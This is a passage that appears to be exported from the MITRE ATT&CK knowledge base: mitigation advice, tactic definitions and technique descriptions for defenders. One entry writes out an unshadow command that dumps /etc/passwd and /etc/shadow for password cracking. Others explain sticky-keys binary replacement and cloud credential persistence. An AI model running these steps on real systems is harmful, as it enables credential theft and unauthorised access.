Applications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured.
T1125Video Capture MitigationMitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.

Identify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
M1016Vulnerability ScanningVulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.
T1102Web Service MitigationFirewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
T1100Web Shell MitigationEnsure that externally facing Web servers are patched regularly to prevent adversary access through Exploitation for Privilege Escalation to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages.

Audit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)
T1077Windows Admin Shares MitigationDo not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.

Identify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1084Windows Management Instrumentation Event Subscription MitigationDisabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)
T1028Windows Remote Management MitigationDisable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)
T1004Winlogon Helper DLL MitigationLimit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.

Identify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.
T1220XSL Script Processing MitigationWindows Management Instrumentation and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.
IDNameDescription
TA0009CollectionThe adversary is trying to gather data of interest to their goal.

Collection consists of techniques adversaries may use to gather information and the sources information is collected from that are relevant to following through on the adversary’s objectives. Frequently, the next goal after collecting data is to steal (exfiltrate) the data. Common target sources include various drive types, browsers, audio, video, and email. Common collection methods include capturing screenshots and keyboard input.
TA0011Command and ControlThe adversary is trying to communicate with compromised systems to control them.

Command and Control consists of techniques that adversaries may use to communicate with systems under their control within a victim network. Adversaries commonly attempt to mimic normal, expected traffic to avoid detection. There are many ways an adversary can establish command and control with various levels of stealth depending on the victim’s network structure and defenses.
TA0006Credential AccessThe adversary is trying to steal account names and passwords.

Credential Access consists of techniques for stealing credentials like account names and passwords. Techniques used to get credentials include keylogging or credential dumping. Using legitimate credentials can give adversaries access to systems, make them harder to detect, and provide the opportunity to create more accounts to help achieve their goals.
TA0005Defense EvasionThe adversary is trying to avoid being detected.

Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.
TA0007DiscoveryThe adversary is trying to figure out your environment.

Discovery consists of techniques an adversary may use to gain knowledge about the system and internal network. These techniques help adversaries observe the environment and orient themselves before deciding how to act. They also allow adversaries to explore what they can control and what’s around their entry point in order to discover how it could benefit their current objective. Native operating system tools are often used toward this post-compromise information-gathering objective.
TA0002ExecutionThe adversary is trying to run malicious code.

Execution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery.
TA0010ExfiltrationThe adversary is trying to steal data.

Exfiltration consists of techniques that adversaries may use to steal data from your network. Once they’ve collected data, adversaries often package it to avoid detection while removing it. This can include compression and encryption. Techniques for getting data out of a target network typically include transferring it over their command and control channel or an alternate channel and may also include putting size limits on the transmission.
TA0040ImpactThe adversary is trying to manipulate, interrupt, or destroy your systems and data.

Impact consists of techniques that adversaries use to disrupt availability or compromise integrity by manipulating business and operational processes. Techniques used for impact can include destroying or tampering with data. In some cases, business processes can look fine, but may have been altered to benefit the adversaries’ goals. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach.
TA0001Initial AccessThe adversary is trying to get into your network.

Initial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited-use due to changing passwords.
TA0008Lateral MovementThe adversary is trying to move through your environment.

Lateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier.
TA0003PersistenceThe adversary is trying to maintain their foothold.

Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code.
TA0004Privilege EscalationThe adversary is trying to gain higher-level permissions.

Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include:

- SYSTEM/root level
- local administrator
- user account with admin-like access
- user accounts with access to specific system or perform specific function

These techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context.
TA0043ReconnaissanceThe adversary is trying to gather information they can use to plan future operations.

Reconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting. Such information may include details of the victim organization, infrastructure, or staff/personnel. This information can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute Initial Access, to scope and prioritize post-compromise objectives, or to drive and lead further Reconnaissance efforts.
TA0042Resource DevelopmentThe adversary is trying to establish resources they can use to support operations.

Resource Development consists of techniques that involve adversaries creating, purchasing, or compromising/stealing resources that can be used to support targeting. Such resources include infrastructure, accounts, or capabilities. These resources can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using purchased domains to support Command and Control, email accounts for phishing as a part of Initial Access, or stealing code signing certificates to help with Defense Evasion.
IDNameDescription
T1003.008/etc/passwd and /etc/shadowAdversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)

The Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) # /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db
T1548Abuse Elevation Control MechanismAdversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
T1134Access Token ManipulationAdversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. Token Impersonation/Theft) or used to spawn a new process (i.e. Create Process with Token). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)

Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.
T1546.008Accessibility FeaturesAdversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

Two common accessibility programs are C:\Windows\System32\sethc.exe, launched when the shift key is pressed five times and C:\Windows\System32\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as “sticky keys”, and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)

Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.

For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., `C:\Windows\System32\utilman.exe`) may be replaced with “cmd.exe” (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014) Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse) - On-Screen Keyboard: `C:\Windows\System32\osk.exe` - Magnifier: `C:\Windows\System32\Magnify.exe` - Narrator: `C:\Windows\System32\Narrator.exe` - Display Switcher: `C:\Windows\System32\DisplaySwitch.exe` - App Switcher: `C:\Windows\System32\AtBroker.exe`
T1015Accessibility FeaturesWindows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

Two common accessibility programs are C:\Windows\System32\sethc.exe, launched when the shift key is pressed five times and C:\Windows\System32\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as “sticky keys”, and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)

Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:

For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., `C:\Windows\System32\utilman.exe`) may be replaced with “cmd.exe” (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014) For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures “cmd.exe,” or another program that provides backdoor access, as a “debugger” for the accessibility program (e.g., “utilman.exe”). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the “debugger” program to be executed with SYSTEM privileges. (Citation: Tilbury 2014) Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys) - On-Screen Keyboard: `C:\Windows\System32\osk.exe` - Magnifier: `C:\Windows\System32\Magnify.exe` - Narrator: `C:\Windows\System32\Narrator.exe` - Display Switcher: `C:\Windows\System32\DisplaySwitch.exe` - App Switcher: `C:\Windows\System32\AtBroker.exe`
T1531Account Access RemovalAdversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a System Shutdown/Reboot to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)

In Windows, Net utility, Set-LocalUser and Set-ADAccountPassword PowerShell cmdlets may be used by adversaries to modify user accounts. In Linux, the passwd utility may be used to change passwords. Accounts could also be disabled by Group Policy.

Adversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as Data Destruction and Defacement, in order to impede incident response/recovery before completing the Data Encrypted for Impact objective.
T1087Account DiscoveryAdversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts).

Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.

For examples, cloud environments typically provide easily accessible interfaces to obtain user lists. On hosts, adversaries can use default PowerShell and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system’s files.
T1098Account ManipulationAdversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.

In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.
T1650Acquire AccessAdversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)(Citation: Krebs Access Brokers Fortune 500) In some cases, adversary groups may form partnerships to share compromised systems with each other.(Citation: CISA Karakurt 2022)

Footholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., Web Shell) or established access via External Remote Services. In some cases, access brokers will implant compromised systems with a “load” that can be used to install additional malware for paying customers.(Citation: Microsoft Ransomware as a Service)

By leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise. Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)

In some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a Trusted RelationshipMulti-Factor Authentication Interception, or even Supply Chain Compromise.

Note: while this technique is distinct from other behaviors such as Purchase Technical Data and Credentials, they may often be used in conjunction (especially where the acquired foothold requires Valid Accounts).
T1583Acquire InfrastructureAdversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.

Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy.(Citation: amnesty_nso_pegasus) Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.
T1595Active ScanningAdversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.

Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).
T1547.014Active SetupAdversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account’s associated permissions level.

Adversaries may abuse Active Setup by creating a key under HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components</code> and setting a malicious value for `StubPath`. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)

Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.
T1137.006Add-insAdversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)

Add-ins can be used to obtain persistence because they can be set to execute code when an Office application starts.
T1098.001Additional Cloud CredentialsAdversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.

For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)

In infrastructure-as-a-service (IaaS) environments, after gaining access through Cloud Accounts, adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)

Adversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. Cloud Accounts).(Citation: Rhino Security Labs AWS Privilege Escalation)

In AWS environments, adversaries with the appropriate permissions may also use the sts:GetFederationToken API call to create a temporary set of credentials tied to the permissions of the original user account. These credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated.
(Citation: Crowdstrike AWS User Federation Persistence)
T1098.003Additional Cloud RolesAn adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)
(Citation: Microsoft O365 Admin Roles)

This account modification may immediately follow Create Account or other malicious account activity. Adversaries may also modify existing Valid Accounts that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.

For example, in Azure AD environments, an adversary with the Application Administrator role can add Additional Cloud Credentials to their application’s service principal. In doing so the adversary would be able to gain the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) Similarly, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)

Similarly, an adversary with the Azure AD Global Administrator role can toggle the “Access management for Azure resources” option to gain the ability to assign privileged access to Azure subscriptions and virtual machines to Azure AD users, including themselves.(Citation: Azure AD to AD)
T1098.002Additional Email Delegate PermissionsAdversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account.

For example, the Add-MailboxPermission PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe)

Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)

This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add Additional Cloud Roles to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: Internal Spearphishing), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)
T1557Adversary-in-the-MiddleAdversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation. By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)

For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials and session cookies.(Citation: volexity_0day_sophos_FW) Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)

Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to Impair Defenses and/or in support of a Network Denial of Service.
T1182AppCert DLLsDynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)

Similar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.
T1546.009AppCert DLLsAdversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions `CreateProcess`, `CreateProcessAsUser`, `CreateProcessWithLoginW`, `CreateProcessWithTokenW`, or `WinExec`. (Citation: Elastic Process Injection July 2017)

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity.
T1103AppInit DLLsDynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to Process Injection, these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)

The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)
T1546.010AppInit DLLsAdversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)

Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.

The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)
T1059.002AppleScriptAdversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

Scripts can be run from the command-line via osascript /path/to/script or osascript -e “script here”. Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)

AppleScripts do not need to call osascript to execute. However, they may be executed from within mach-O binaries by using the macOS Native APINSAppleScript or OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.

Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they’re already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute Native APIs, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via Python.(Citation: Macro Malware Targets Macs)
T1155AppleScriptmacOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.
AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they’re already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via osascript /path/to/script or osascript -e “script here”.
T1527Application Access TokenAdversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.

Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)

For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a “refresh” token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)

Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.
T1550.001Application Access TokenAdversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.

